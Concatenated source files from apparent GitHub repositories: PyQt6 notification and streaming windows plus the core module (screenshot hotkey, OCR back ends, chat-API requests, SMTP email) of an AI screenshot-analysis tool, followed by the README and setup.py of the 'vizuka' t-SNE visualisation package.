def __init__(self, message: str, parent=None):
super().__init__(parent)
self.message = message
self.current_text = ""
self.init_ui()
def init_ui(self):
"""初始化界面"""
self.setWindowTitle("AI分析结果")
self.setModal(False) # 设置为非模态窗口，允许主窗口操作
# 设置为完全独立的窗口，不与任何父窗口关联
self.setWindowFlags(
Qt.WindowType.Window |
Qt.WindowType.WindowStaysOnTopHint |
Qt.WindowType.WindowCloseButtonHint |
Qt.WindowType.WindowMinimizeButtonHint |
Qt.WindowType.WindowMaximizeButtonHint
)
self.resize(800, 600)
# 设置窗口图标
try:
from icon_data import get_icon_data
icon_data = get_icon_data()
pixmap = QPixmap()
pixmap.loadFromData(icon_data)
self.setWindowIcon(QIcon(pixmap))
except ImportError:
# 如果icon_data模块不存在，回退到文件方式
import os
if os.path.exists('favicon.ico'):
self.setWindowIcon(QIcon('favicon.ico'))
# 设置样式
self.setStyleSheet("""
QDialog {
background-color: #f8fffe;
}
QPushButton {
background-color: #a8d8a8;
color: white;
border: none;
padding: 8px 16px;
border-radius: 4px;
font-weight: bold;
min-width: 80px;
}
QPushButton:hover {
background-color: #90c890;
}
QPushButton:pressed {
background-color: #78b878;
}
""")
layout = QVBoxLayout(self)
layout.setSpacing(10)
layout.setContentsMargins(20, 20, 20, 20)
# 标题
title_label = QLabel("AI分析结果")
title_label.setStyleSheet("""
QLabel {
font-size: 18px;
font-weight: bold;
color: #2c3e50;
margin-bottom: 10px;
}
""")
layout.addWidget(title_label)
# 内容区域
self.content_viewer = MarkdownViewer()
layout.addWidget(self.content_viewer)
# 按钮区域
button_layout = QHBoxLayout()
button_layout.addStretch()
self.copy_btn = QPushButton("复制内容")
self.copy_btn.clicked.connect(self.copy_content)
button_layout.addWidget(self.copy_btn)
self.close_btn = QPushButton("关闭")
self.close_btn.clicked.connect(self.accept)
button_layout.addWidget(self.close_btn)
layout.addLayout(button_layout)
# 居中显示
if self.parent():
parent_rect = self.parent().geometry()
x = parent_rect.x() + (parent_rect.width() - self.width()) // 2
y = parent_rect.y() + (parent_rect.height() - self.height()) // 2
self.move(x, y)
# 设置初始内容
self.set_content(self.message)
def set_content(self, content: str):
"""设置内容"""
self.current_text = content
self.content_viewer.set_markdown(content)
def append_content(self, content: str):
"""追加内容（流式显示）"""
if not hasattr(self, 'current_response_content'):
self.current_response_content = ""
if not hasattr(self, 'current_reasoning_content'):
self.current_reasoning_content = ""
self.current_response_content += content
self._update_display_content()
def append_reasoning_content(self, reasoning: str):
"""追加推理内容"""
if not hasattr(self, 'current_reasoning_content'):
self.current_reasoning_content = ""
if not hasattr(self, 'current_response_content'):
self.current_response_content = ""
self.current_reasoning_content += reasoning
self._update_display_content()
def _update_display_content(self, force_render=False):
"""更新显示内容（使用批量更新优化）"""
if not hasattr(self, '_update_pending'):
self._update_pending = False
self._update_timer = QTimer()
self._update_timer.setSingleShot(True)
self._update_timer.timeout.connect(self._batch_update_display)
self._update_timer.setInterval(100) # 100ms批量更新
if force_render:
# 强制立即渲染
self._batch_update_display()
elif not self._update_pending:
self._update_pending = True
self._update_timer.start()
def _batch_update_display(self, force_markdown=False):
"""批量更新显示内容"""
if hasattr(self, '_update_pending'):
self._update_pending = False
display_content = ""
if hasattr(self, 'current_reasoning_content') and self.current_reasoning_content:
display_content += f"<div style='background-color: #f0f8ff; padding: 15px; border-left: 4px solid #4a90e2; margin-bottom: 20px; border-radius: 6px;'>\n"
display_content += f"<h3 style='color: #4a90e2; margin: 0 0 10px 0; font-family: \"Microsoft YaHei\", sans-serif;'>🤔 思考内容</h3>\n"
display_content += f"<div style='font-family: \"Consolas\", \"Monaco\", monospace; font-size: 14px; color: #666; line-height: 1.6; white-space: pre-wrap;'>{self.current_reasoning_content}</div>\n"
display_content += f"</div>\n\n"
if hasattr(self, 'current_response_content') and self.current_response_content:
if force_markdown:
# 流式完成后，进行完整的markdown渲染
display_content += f"<div style='background-color: #f8fff8; padding: 15px; border-left: 4px solid #28a745; border-radius: 6px;'>\n"
display_content += f"<h3 style='color: #28a745; margin: 0 0 10px 0; font-family: \"Microsoft YaHei\", sans-serif;'>💬 回复内容</h3>\n"
display_content += f"<div style='font-family: \"Microsoft YaHei\", sans-serif; line-height: 1.6; white-space: pre-wrap;'>{self.current_response_content}</div>\n"
display_content += f"</div>"
else:
# 流式过程中，显示纯文本避免频繁渲染
display_content += f"<div style='background-color: #f8fff8; padding: 15px; border-left: 4px solid #28a745; border-radius: 6px;'>\n"
display_content += f"<h3 style='color: #28a745; margin: 0 0 10px 0; font-family: \"Microsoft YaHei\", sans-serif;'>💬 回复内容</h3>\n"
display_content += f"<div style='font-family: \"Microsoft YaHei\", sans-serif; line-height: 1.6; white-space: pre-wrap;'>{self.current_response_content}</div>\n"
display_content += f"</div>"
self.current_text = display_content
if force_markdown:
# 强制进行markdown渲染
self.content_viewer.set_markdown(display_content)
else:
# 流式过程中使用简单的HTML显示
self.content_viewer.setHtml(display_content)
# 确保滚动条始终在底部
scrollbar = self.content_viewer.verticalScrollBar()
scrollbar.setValue(scrollbar.maximum())
def append_response_content(self, content):
"""追加回复内容（用于流式响应）"""
if not hasattr(self, 'current_response_content'):
self.current_response_content = ""
self.current_response_content += content
# 流式过程中不进行markdown渲染，只更新文本
self._update_display_content(force_render=False)
def append_reasoning_content(self, content):
"""追加推理内容"""
if not hasattr(self, 'current_reasoning_content'):
self.current_reasoning_content = ""
self.current_reasoning_content += content
# 推理内容立即显示
self._update_display_content(force_render=False)
def copy_content(self):
"""复制内容到剪贴板"""
clipboard = QApplication.clipboard()
clipboard.setText(self.current_text)
# 临时改变按钮文字
original_text = self.copy_btn.text()
self.copy_btn.setText("已复制")
QTimer.singleShot(1000, lambda: self.copy_btn.setText(original_text))
class NotificationWindow:
"""通知窗口管理器"""
_small_notifications = []
_large_notification = None
@classmethod
def show_small_notification(cls, message: str):
"""显示小通知"""
try:
# 清理已关闭的通知
cls._small_notifications = [n for n in cls._small_notifications if n.isVisible()]
# 限制同时显示的通知数量
if len(cls._small_notifications) >= 3:
oldest = cls._small_notifications.pop(0)
oldest.start_fade_out()
# 创建新通知
notification = SmallNotificationWindow(message)
cls._small_notifications.append(notification)
# 调整位置（避免重叠）
screen = QApplication.primaryScreen().geometry()
x = screen.width() - notification.width() - 20
y = screen.height() - notification.height() - 60 - (len(cls._small_notifications) - 1) * 110
notification.move(x, y)
notification.show_notification()
except Exception as e:
logging.error(f"显示小通知失败: {e}")
@classmethod
def show_large_notification(cls, message: str, parent=None):
"""显示大通知"""
try:
# 关闭之前的大通知
if cls._large_notification and cls._large_notification.isVisible():
cls._large_notification.close()
# 创建新的大通知，不设置父窗口以确保完全独立
cls._large_notification = LargeNotificationWindow(message, None)
cls._large_notification.show()
except Exception as e:
logging.error(f"显示大通知失败: {e}")
@classmethod
def show_large_notification_streaming(cls, initial_message: str, parent=None):
"""显示流式大通知"""
try:
# 关闭之前的大通知
if cls._large_notification and cls._large_notification.isVisible():
cls._large_notification.close()
# 创建新的大通知（用于流式显示），不设置父窗口以确保完全独立
cls._large_notification = LargeNotificationWindow(initial_message, None)
cls._large_notification.setWindowTitle("AI流式响应")
cls._large_notification.current_reasoning_content = ""
cls._large_notification.current_response_content = ""
cls._large_notification.show()
return cls._large_notification
except Exception as e:
logging.error(f"显示流式大通知失败: {e}")
return None
@classmethod
def show_large_notification_reasoning(cls, reasoning_content: str, parent=None):
"""显示推理内容大通知"""
try:
# 创建新的推理内容窗口，不关闭现有窗口以支持同时显示
reasoning_window = LargeNotificationWindow("", None)
reasoning_window.setWindowTitle("AI推理过程")
reasoning_window.current_reasoning_content = reasoning_content
reasoning_window.current_response_content = ""
reasoning_window._batch_update_display()
reasoning_window.show()
return reasoning_window
except Exception as e:
logging.error(f"显示推理内容大通知失败: {e}")
return None
@classmethod
def close_all_notifications(cls):
"""关闭所有通知"""
try:
# 关闭小通知
for notification in cls._small_notifications:
if notification.isVisible():
notification.start_fade_out()
cls._small_notifications.clear()
# 关闭大通知
if cls._large_notification and cls._large_notification.isVisible():
cls._large_notification.close()
cls._large_notification = None
except Exception as e:
logging.error(f"关闭通知失败: {e}")
class ThinkingIndicator(QWidget):
"""思考指示器"""
def __init__(self, parent=None):
super().__init__(parent)
self.init_ui()
self.setup_animation()
def init_ui(self):
"""初始化界面"""
self.setFixedSize(200, 50)
layout = QHBoxLayout(self)
layout.setContentsMargins(10, 10, 10, 10)
self.label = QLabel("正在深入思考")
self.label.setStyleSheet("""
QLabel {
color: #666666;
font-size: 14px;
font-style: italic;
}
""")
layout.addWidget(self.label)
# 动画点
self.dots = []
for i in range(3):
dot = QLabel("●")
dot.setStyleSheet("""
QLabel {
color: #a8d8a8;
font-size: 16px;
}
""")
self.dots.append(dot)
layout.addWidget(dot)
layout.addStretch()
def setup_animation(self):
"""设置动画"""
self.animation_timer = QTimer()
self.animation_timer.timeout.connect(self.animate_dots)
self.animation_step = 0
def start_thinking(self):
"""开始思考动画"""
self.show()
self.animation_timer.start(500) # 每500ms更新一次
def stop_thinking(self):
"""停止思考动画"""
self.animation_timer.stop()
self.hide()
def animate_dots(self):
"""动画点"""
for i, dot in enumerate(self.dots):
if i == self.animation_step % 3:
dot.setStyleSheet("""
QLabel {
color: #a8d8a8;
font-size: 16px;
}
""")
else:
dot.setStyleSheet("""
QLabel {
color: #e0e0e0;
font-size: 16px;
}
""")
self.animation_step += 1
|
00000O00000/ask-ai-screenshot
| 22,366 |
core.py
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
AI截图分析核心功能模块
包含截图、OCR、AI客户端等核心功能
"""
import os
import io
import base64
import json
import logging
import smtplib
import time
import hashlib
import hmac
from datetime import datetime
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from typing import Optional
import requests
from PIL import Image, ImageGrab
from PyQt6.QtCore import QObject, pyqtSignal, QThread, QTimer
from pynput import keyboard
from screenshot_overlay import AdvancedScreenshotManager
class ScreenshotManager(QObject):
"""截图管理器"""
screenshot_taken = pyqtSignal(object) # 截图完成信号
screenshot_failed = pyqtSignal(str) # 截图失败信号
screenshot_cancelled = pyqtSignal() # 截图取消信号
hotkey_triggered = pyqtSignal() # 快捷键触发信号
def __init__(self, config_manager):
super().__init__()
self.config_manager = config_manager
self.advanced_manager = AdvancedScreenshotManager(config_manager)
self.hotkey_listener = None
# 连接快捷键信号到截图方法
self.hotkey_triggered.connect(self.start_screenshot)
# 连接高级截图管理器信号
self.advanced_manager.overlay = None # 初始化overlay属性
# 注意：信号连接需要在overlay创建后进行
def setup_hotkey(self):
"""设置全局快捷键"""
try:
if self.hotkey_listener:
self.hotkey_listener.stop()
# 使用固定的快捷键 Alt+Shift+D
hotkey_combination = {keyboard.Key.alt, keyboard.Key.shift, keyboard.KeyCode.from_char('d')}
def on_hotkey():
# 使用信号来避免在快捷键回调中直接调用UI操作
self.hotkey_triggered.emit()
self.hotkey_listener = keyboard.GlobalHotKeys({
'<alt>+<shift>+d': on_hotkey
})
self.hotkey_listener.start()
logging.info("全局快捷键设置成功: Alt+Shift+D")
except Exception as e:
logging.error(f"设置全局快捷键失败: {e}")
def start_screenshot(self):
"""开始截图"""
try:
# 先断开之前的连接（如果存在）
if self.advanced_manager.overlay:
try:
self.advanced_manager.overlay.screenshot_confirmed.disconnect()
self.advanced_manager.overlay.screenshot_cancelled.disconnect()
except:
pass
# 启动截图
self.advanced_manager.start_screenshot()
# 连接信号（在overlay创建后）
if self.advanced_manager.overlay:
self.advanced_manager.overlay.screenshot_confirmed.connect(self.on_screenshot_confirmed)
self.advanced_manager.overlay.screenshot_cancelled.connect(self.on_screenshot_cancelled)
logging.info("截图信号连接成功")
else:
logging.error("截图overlay创建失败")
self.screenshot_failed.emit("截图overlay创建失败")
except Exception as e:
logging.error(f"启动截图失败: {e}")
self.screenshot_failed.emit(str(e))
def screenshot_from_clipboard(self):
"""从剪贴板获取图片"""
try:
image = ImageGrab.grabclipboard()
if image and isinstance(image, Image.Image):
return image
return None
except Exception as e:
logging.error(f"从剪贴板获取图片失败: {e}")
return None
def on_screenshot_confirmed(self, image):
"""截图确认处理"""
self.screenshot_taken.emit(image)
def on_screenshot_cancelled(self):
"""截图取消处理"""
self.screenshot_cancelled.emit()
def cleanup(self):
"""清理资源"""
if self.hotkey_listener:
self.hotkey_listener.stop()
class OCRManager(QObject):
"""OCR管理器"""
ocr_completed = pyqtSignal(str) # OCR完成信号
ocr_failed = pyqtSignal(str) # OCR失败信号
def __init__(self, config_manager):
super().__init__()
self.config_manager = config_manager
def recognize_image(self, image: Image.Image) -> str:
"""识别图片中的文字"""
try:
engine = self.config_manager.get_config("ocr.engine")
if engine == "tencent":
return self._tencent_ocr(image)
elif engine == "xinyew":
return self._xinyew_ocr(image)
elif engine == "vision_model":
return self._vision_model_ocr(image)
else:
# 默认使用新野OCR
return self._xinyew_ocr(image)
except Exception as e:
error_msg = f"OCR识别失败: {e}"
logging.error(error_msg)
# 在WorkerThread中不发射信号，直接抛出异常
raise Exception(error_msg)
def _tencent_ocr(self, image: Image.Image) -> str:
"""腾讯云OCR"""
try:
# 获取配置
secret_id = self.config_manager.get_config("ocr.tencent.secret_id")
secret_key = self.config_manager.get_config("ocr.tencent.secret_key")
if not secret_id or not secret_key:
raise ValueError("腾讯云OCR配置不完整")
# 将图片转换为base64
buffer = io.BytesIO()
image.save(buffer, format='PNG')
image_base64 = base64.b64encode(buffer.getvalue()).decode('utf-8')
# 构建请求
url = "https://ocr.tencentcloudapi.com/"
headers = {
"Content-Type": "application/json; charset=utf-8",
"Host": "ocr.tencentcloudapi.com",
"X-TC-Action": "GeneralBasicOCR",
"X-TC-Version": "2018-11-19",
"X-TC-Region": "ap-beijing",
"X-TC-Timestamp": str(int(time.time()))
}
payload = {
"ImageBase64": image_base64
}
# 计算签名
signature = self._calculate_tencent_signature(
secret_id, secret_key, headers, json.dumps(payload)
)
headers["Authorization"] = signature
# 发送请求
response = requests.post(url, headers=headers, json=payload, timeout=10)
response.raise_for_status()
result = response.json()
if "Response" in result and "TextDetections" in result["Response"]:
texts = [item["DetectedText"] for item in result["Response"]["TextDetections"]]
ocr_text = "\n".join(texts)
return ocr_text
else:
raise ValueError("OCR响应格式错误")
except Exception as e:
raise Exception(f"腾讯云OCR失败: {e}")
def _calculate_tencent_signature(self, secret_id: str, secret_key: str, headers: dict, payload: str) -> str:
"""计算腾讯云签名"""
# 这里是简化的签名计算，实际项目中需要完整的腾讯云签名算法
# 由于篇幅限制，这里只是示例
algorithm = "TC3-HMAC-SHA256"
service = "ocr"
host = "ocr.tencentcloudapi.com"
# 构建规范请求串
http_request_method = "POST"
canonical_uri = "/"
canonical_querystring = ""
canonical_headers = f"content-type:application/json; charset=utf-8\nhost:{host}\n"
signed_headers = "content-type;host"
hashed_request_payload = hashlib.sha256(payload.encode('utf-8')).hexdigest()
canonical_request = f"{http_request_method}\n{canonical_uri}\n{canonical_querystring}\n{canonical_headers}\n{signed_headers}\n{hashed_request_payload}"
# 构建待签名字符串
timestamp = headers["X-TC-Timestamp"]
date = datetime.fromtimestamp(int(timestamp)).strftime('%Y-%m-%d')
credential_scope = f"{date}/{service}/tc3_request"
hashed_canonical_request = hashlib.sha256(canonical_request.encode('utf-8')).hexdigest()
string_to_sign = f"{algorithm}\n{timestamp}\n{credential_scope}\n{hashed_canonical_request}"
# 计算签名
secret_date = hmac.new(("TC3" + secret_key).encode('utf-8'), date.encode('utf-8'), hashlib.sha256).digest()
secret_service = hmac.new(secret_date, service.encode('utf-8'), hashlib.sha256).digest()
secret_signing = hmac.new(secret_service, "tc3_request".encode('utf-8'), hashlib.sha256).digest()
signature = hmac.new(secret_signing, string_to_sign.encode('utf-8'), hashlib.sha256).hexdigest()
return f"{algorithm} Credential={secret_id}/{credential_scope}, SignedHeaders={signed_headers}, Signature={signature}"
def _xinyew_ocr(self, image: Image.Image) -> str:
"""新野图床+云智OCR识别（免费公益接口）"""
try:
# 1. 上传图片到新野图床
upload_url = "https://api.xinyew.cn/api/360tc"
buffer = io.BytesIO()
image.save(buffer, format='PNG')
buffer.seek(0)
files = {'file': ('image.png', buffer, 'image/png')}
upload_response = requests.post(upload_url, files=files, timeout=10)
upload_response.raise_for_status()
upload_result = upload_response.json()
if upload_result.get("errno") != 0:
raise ValueError(f"图片上传失败: {upload_result.get('error')}")
image_url = upload_result.get("data", {}).get("url")
if not image_url:
raise ValueError("获取图片URL失败")
# 2. 调用云智OCR接口
ocr_url = "https://api.jkyai.top/API/ocrwzsb.php"
ocr_response = requests.get(
ocr_url,
params={"url": image_url, "type": "json"},
timeout=10
)
ocr_response.raise_for_status()
ocr_result = ocr_response.json()
# 3. 解析结果
words_result = ocr_result.get("words_result", [])
if not words_result:
ocr_text = "未识别到文字内容"
else:
# 合并所有识别的文字
text_lines = [item.get("words", "") for item in words_result]
ocr_text = "\n".join(text_lines)
return ocr_text
except Exception as e:
raise Exception(f"新野OCR识别失败: {e}")
def _vision_model_ocr(self, image: Image.Image) -> str:
"""视觉模型OCR"""
try:
# 获取OCR专用视觉模型配置
vision_model = self.config_manager.get_config("ocr.vision_model")
if not vision_model:
raise ValueError("未配置OCR专用视觉模型")
# 检查必要配置
if not vision_model.get('model_id') or not vision_model.get('api_endpoint') or not vision_model.get('api_key'):
raise ValueError("OCR视觉模型配置不完整")
# 将图片转换为base64
buffer = io.BytesIO()
image.save(buffer, format='PNG')
image_base64 = base64.b64encode(buffer.getvalue()).decode('utf-8')
# 获取OCR提示词
ocr_prompt = vision_model.get('prompt', '请识别图片中的文字内容，并格式化后给我。只返回识别到的文字，不要添加任何解释或说明。')
# 构建请求
messages = [
{
"role": "user",
"content": [
{"type": "text", "text": ocr_prompt},
{
"type": "image_url",
"image_url": {
"url": f"data:image/png;base64,{image_base64}"
}
}
]
}
]
request_data = {
"model": vision_model.get('model_id', ''),
"messages": messages,
"max_tokens": vision_model.get('max_tokens', 1000),
"temperature": vision_model.get('temperature', 0.1)
}
headers = {
"Content-Type": "application/json",
"Authorization": f"Bearer {vision_model.get('api_key', '')}"
}
response = requests.post(
vision_model.get('api_endpoint', ''),
headers=headers,
json=request_data,
timeout=120
)
if response.status_code != 200:
raise Exception(f"API请求失败: {response.status_code} - {response.text}")
result = response.json()
if 'choices' not in result or not result['choices']:
raise Exception("API响应格式错误")
ocr_text = result['choices'][0]['message']['content'].strip()
return ocr_text
except Exception as e:
raise Exception(f"视觉模型OCR失败: {e}")
class AIRequestThread(QThread):
"""AI请求线程"""
response_completed = pyqtSignal(str) # 响应完成信号
request_failed = pyqtSignal(str) # 请求失败信号
streaming_response = pyqtSignal(str, str) # 流式响应信号 (类型, 内容)
reasoning_content = pyqtSignal(str) # 推理内容信号
def __init__(self, ai_config, prompt, image=None, ocr_text=None):
super().__init__()
self.ai_config = ai_config
self.prompt = prompt
self.image = image
self.ocr_text = ocr_text
self.should_stop = False
def stop_request(self):
"""停止请求"""
self.should_stop = True
def run(self):
"""执行AI请求"""
try:
response = self._send_ai_request()
if not self.should_stop:
self.response_completed.emit(response)
except Exception as e:
if not self.should_stop:
self.request_failed.emit(str(e))
def _send_ai_request(self):
"""发送AI请求"""
# 构建请求消息
messages = []
if self.image and self.ai_config.get('vision_support', False):
# 支持视觉的模型
# 将图片转换为base64
img_byte_arr = io.BytesIO()
self.image.save(img_byte_arr, format='PNG')
img_base64 = base64.b64encode(img_byte_arr.getvalue()).decode('utf-8')
messages.append({
"role": "user",
"content": [
{"type": "text", "text": self.prompt},
{
"type": "image_url",
"image_url": {
"url": f"data:image/png;base64,{img_base64}"
}
}
]
})
else:
# 文本模型或包含OCR文本
content = self.prompt
if self.ocr_text:
content += f"\n\n以下是图片中识别的文字内容：\n{self.ocr_text}"
messages.append({
"role": "user",
"content": content
})
# 检查是否支持流式响应
enable_streaming = self.ai_config.get('enable_streaming', False)
# 构建请求数据
request_data = {
"model": self.ai_config.get('model_id', ''),
"messages": messages,
"max_tokens": self.ai_config.get('max_tokens', 4000),
"temperature": self.ai_config.get('temperature', 0.3),
"stream": enable_streaming
}
# 发送请求
headers = {
"Content-Type": "application/json",
"Authorization": f"Bearer {self.ai_config.get('api_key', '')}"
}
if enable_streaming:
return self._handle_streaming_response(headers, request_data)
else:
return self._handle_normal_response(headers, request_data)
def _handle_normal_response(self, headers, request_data):
"""处理普通响应"""
response = requests.post(
self.ai_config.get('api_endpoint', ''),
headers=headers,
json=request_data,
timeout=60
)
if response.status_code != 200:
raise Exception(f"API请求失败: {response.status_code} - {response.text}")
result = response.json()
if 'choices' not in result or not result['choices']:
raise Exception("API响应格式错误")
content = result['choices'][0]['message']['content']
# 尝试解析推理内容和回复内容
reasoning_content, response_content = self._parse_reasoning_and_response(content)
if reasoning_content:
self.reasoning_content.emit(reasoning_content)
return response_content or content
def _handle_streaming_response(self, headers, request_data):
"""处理流式响应"""
response = requests.post(
self.ai_config.get('api_endpoint', ''),
headers=headers,
json=request_data,
timeout=60,
stream=True
)
if response.status_code != 200:
raise Exception(f"API请求失败: {response.status_code} - {response.text}")
full_content = ""
for line in response.iter_lines():
if self.should_stop:
break
if line:
line = line.decode('utf-8')
if line.startswith('data: '):
data = line[6:]
if data == '[DONE]':
break
try:
chunk = json.loads(data)
if 'choices' in chunk and chunk['choices']:
delta = chunk['choices'][0].get('delta', {})
# 处理推理内容（只依据API返回的reasoning_content字段）
if 'reasoning_content' in delta and delta['reasoning_content']:
reasoning_content = delta['reasoning_content']
self.reasoning_content.emit(reasoning_content)
# 处理普通响应内容
if 'content' in delta and delta['content']:
content = delta['content']
full_content += content
self.streaming_response.emit("content", content)
except json.JSONDecodeError:
continue
return full_content
def _parse_reasoning_and_response(self, content):
"""解析推理内容和回复内容"""
reasoning_content = ""
response_content = content
# 查找 <thinking> 标签
import re
thinking_pattern = r'<thinking>(.*?)</thinking>'
matches = re.findall(thinking_pattern, content, re.DOTALL)
if matches:
reasoning_content = '\n'.join(matches).strip()
# 移除推理内容，保留回复内容
response_content = re.sub(thinking_pattern, '', content, flags=re.DOTALL).strip()
return reasoning_content, response_content
class AIClientManager(QObject):
"""AI客户端管理器"""
response_completed = pyqtSignal(str) # 响应完成信号
request_failed = pyqtSignal(str) # 请求失败信号
streaming_response = pyqtSignal(str, str) # 流式响应信号
reasoning_content = pyqtSignal(str) # 推理内容信号
def __init__(self, config_manager):
super().__init__()
self.config_manager = config_manager
self.current_thread = None
def send_request(self, model_name, prompt, image=None, ocr_text=None):
"""发送AI请求"""
try:
# 获取AI配置
ai_config = self.config_manager.get_config("ai_model")
if not ai_config:
self.request_failed.emit("AI模型配置不存在")
return
# 停止之前的请求
self.stop_request()
# 创建新的请求线程
self.current_thread = AIRequestThread(ai_config, prompt, image, ocr_text)
self.current_thread.response_completed.connect(self.response_completed)
self.current_thread.request_failed.connect(self.request_failed)
self.current_thread.streaming_response.connect(self.streaming_response)
self.current_thread.reasoning_content.connect(self.reasoning_content)
# 启动线程
self.current_thread.start()
except Exception as e:
self.request_failed.emit(str(e))
def stop_request(self):
"""停止当前请求"""
if self.current_thread and self.current_thread.isRunning():
self.current_thread.stop_request()
self.current_thread.wait()
def cleanup(self):
"""清理资源"""
self.stop_request()
class EmailManager(QObject):
"""邮件管理器"""
email_sent = pyqtSignal()
email_failed = pyqtSignal(str)
def __init__(self, config_manager):
super().__init__()
self.config_manager = config_manager
def send_email(self, subject: str, content: str):
"""发送邮件"""
try:
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
smtp_config = self.config_manager.get_config("notification.smtp")
if not smtp_config or not all([
smtp_config.get("server"),
smtp_config.get("username"),
smtp_config.get("password"),
smtp_config.get("to_email")
]):
raise ValueError("SMTP配置不完整")
# 创建邮件
msg = MIMEMultipart()
msg['From'] = smtp_config["username"]
msg['To'] = smtp_config["to_email"]
msg['Subject'] = subject
# 添加邮件内容
msg.attach(MIMEText(content, 'plain', 'utf-8'))
# 发送邮件
server = smtplib.SMTP(smtp_config["server"], smtp_config.get("port", 587))
server.starttls()
server.login(smtp_config["username"], smtp_config["password"])
server.send_message(msg)
server.quit()
self.email_sent.emit()
logging.info("邮件发送成功")
except Exception as e:
error_msg = f"邮件发送失败: {e}"
logging.error(error_msg)
self.email_failed.emit(error_msg)
|
0011001011/vizuka
| 7,558 |
README.md
|
Data visualization
==================
This is a collection of tools to represent and navigate through high-dimensional datasets.
* The algorithm t-SNE is set as default to construct the 2D space.
* The module should be agnostic of the data provided.
* It ships with MNIST for quick testing.
For commercial use, and user support, please contact Sofian Medbouhi (sofian.medbouhi@free.fr) who propose a business version with additional features.
Usage
-----
### How to install ?
```sh
$ pip install vizuka
```
or clone the repo :)
build-essential is required for the wordcloud
```sh
# apt-get install build-essential
```
### How to run?
```sh
$ vizuka # launch the visualization tool
# For a quick working example with MNIST run :
$ vizuka --mnist
# Similar to downloading MNIST, fit a basic logistic and project in 2D with tSNE
$ vizuka --show-required-files
# To show the format of files you need to launch a data viz
```
But you don't want to use MNIST toy-dataset right ? Here is a complete working example:
```sh
# EXAMPLE :
# you have your preprocessed data in ~/data/set/preprocessed_MYDATASET01.npz
# and predictions in ~/data/set/predict_MYDATASET01.npz
# optionnaly the raw dataset in ~/data/set/raw_data_MYDATASET01.npz
# Run :
$ vizuka-reduce --path ~/data --version MYDATASET01 # projects in 2D
$ vizuka --path ~/data --version MYDATASET01
```
It will search in \_\_package\_\_/data/ the datas but you can force your own with __--path__ argument
* Note that if you are effectively doing big data you should install **MulticoreTSNE** in vizuka/dimension\_reduction/tSNE.py unless you want to discover t-SNE crashed with a segfault. Instructions for installation can be found in requirements/requirements.apt
Plugin structure
----------------
Add your plugins in vizuka/plugins/
You can define your own:
* dimension reduction algorithm
* heatmaps
* clustering engines
* cluster delimiter (frontiers)
* cluster viewer (cf last image)
Only thing to do : use the *vizuka/plugin/dimension\_reduction/* (for e.g) and follow the instruction from *How\_to\_add\_dimension\_reduction\_plugin.py*
Your plugin will be available in all vizuka, in IHM and cmdline without further adjustment
What will I get ?
-----------------
A nice tool to draw clusters, find details about inside distribution and zoom in.
Example with MNIST toy dataset (vizuka --mnist): (**for real life example please scroll down**)
### How to use ?
Navigate inside the 2D space and look at the data, selecting it in the main window (the big one). Data is grouped by cluster, you can select cluster individually (left click).
Main window represents all the data in 2D space. Blue are good-predicted transactions, Red are the bad ones, Green are the special class (by default the label 0).
Below are three subplots :
* a summary of the data inside the selected buckets (see navigation)
* a heatmap of the red/blue/green representation
* a heatmap of the cross-entropy of each bucket empirical distribution with empirical global empirical distribution.
Data viz navigation :
* left click selects a bucket of data
* right click reset all in-memory buckets
Other options:
* clusterize with an algo, a simple grid, or kMeans, DBSCAN...
* visualize the distribution of classes inside selected clusters
* visualize the distribution of features inside selected clusters
* filter by predicted class or by real class.
* filter by any feature you may have in your raw (non-preprocessed) dataset
* export x : export the data you selected in an output.csv
* cluster borders : draw borders between clusters based on bhattacharyya similarity measure, or just all
* choose a different set of predictions to display
What does it needs to be executed ?
-----------------------------------
```sh
$ vizuka --show-required-files
VERSION: string that identifies your dataset (default is MNIST_example)
PATH : data/ is located in /home/sofian/data_viz/manakin-ml-analytics/vizuka, change with --path
FORMAT : all are .npz file
REQUIRED:
=========
+ data/set/preprocessed_inputs_VERSION.npz
------------------------------------------
x: preprocessed inputs, your feature space
y: outputs to be predicted, the "true" class
NB: this is the only mandatory file, the following is highly recommended:
OPTIONAL BUT USEFUL:
===================
+ data/models/predict_VERSION.npz -> optional but recommended
-------------------------------------------------------------
y: predictions returned by your algorithm
NB: should be same formatting as in preprocessed_inputs_VERSION["y"])
if you don't have one, use --force-no-predict
+ data/set/raw_data_VERSION.npz -> optional
--------------------------
x: array of inputs BEFORE preprocessing
probably human-readable, thus useful for visualization
columns: the name of the columns variable in x
NB: this file is used if you run vizuka with
--feature-name-to-display COLUMN_NAME:PLOTTER COLUMN_NAME2:PLOTTER2 or
(see help for details)
GENERATED BY VIZUKA:
====================
+ data/reduced/algoname#VERSION#PARAM1_NAME::VALUE#PARAM2_NAME::VALUE.npz
------------------------------------------------------------------------
x2D: projections of the preprocessed inputs x in a 2D space
NB: you can change default projection parameters and works with several ones
see vizuka-reduce
```
Typical use-case :
------------------
You have your preprocessed data ? Cool, this is the only mandatory file you need. Place it in the folder *data/set/preprocessed_inputs\_VERSION.npz*, VERSION being a string specific to this specific dataset. It must contains at least the key 'x' representing the vectors you learn from. If you have both the correct output and your own predicitons (inside *data/models/* and prediction under npz key "y", default loaded is predict_VERSION.npz, cf --show-requiredfiles).
Optionally you can add a *raw_data_VERSION.npz* file containing raw data non-preprocessed. The vector should be the key "x" and the name of the human-readable "features" in the key "columns".
Now you may want to launch Vizuka ! First project your preprocessed space in 2D with vizuka-reduce, then visualize with vizuka.
And take some coffee.
Or two.
Or three, Vizuka is busy reducing the dimension.
...
Congratulations ! Now you may want to display your 2D-data, as your able to browse your embedded space. Maybe you want to look for a specific cluster. Explore the data with graph options, zoom in and zoom out, and use the filters provided to find an interesting area.
When you are satisfied, click to select clusters. This is quite unefficient you will select small rectangular tiles one by one on a grid, you may want to *Clusterize* using KMeans or DBSCAN.
Great now you can select whole clusters of data at once. But what's in there ? Use the menu Cluster exploration for that. When you are done click on the *export* button to find out in a nicely formatted csv (assuming you provided "raw" data) containing the data in the clusters you selected.
You finished your session but still want to dive in the clusters later ? Just select *Save clusterization* to save your session.
Default parameters
------------------
See config.py
Real life example
=================
|
0011001011/vizuka
| 1,059 |
setup.py
|
from setuptools import setup, find_packages
import os
data = {
'vizuka': [
'data/set/.gitkeep',
'data/models/.gitkeep',
'data/cache/.gitkeep',
'data/saved_clusters/.gitkeep',
'data/reduced/.gitkeep',
'example/tsne#MNIST_example#learning_rate::1000#n_iter::12000#perplexity::50.npz',
],
}
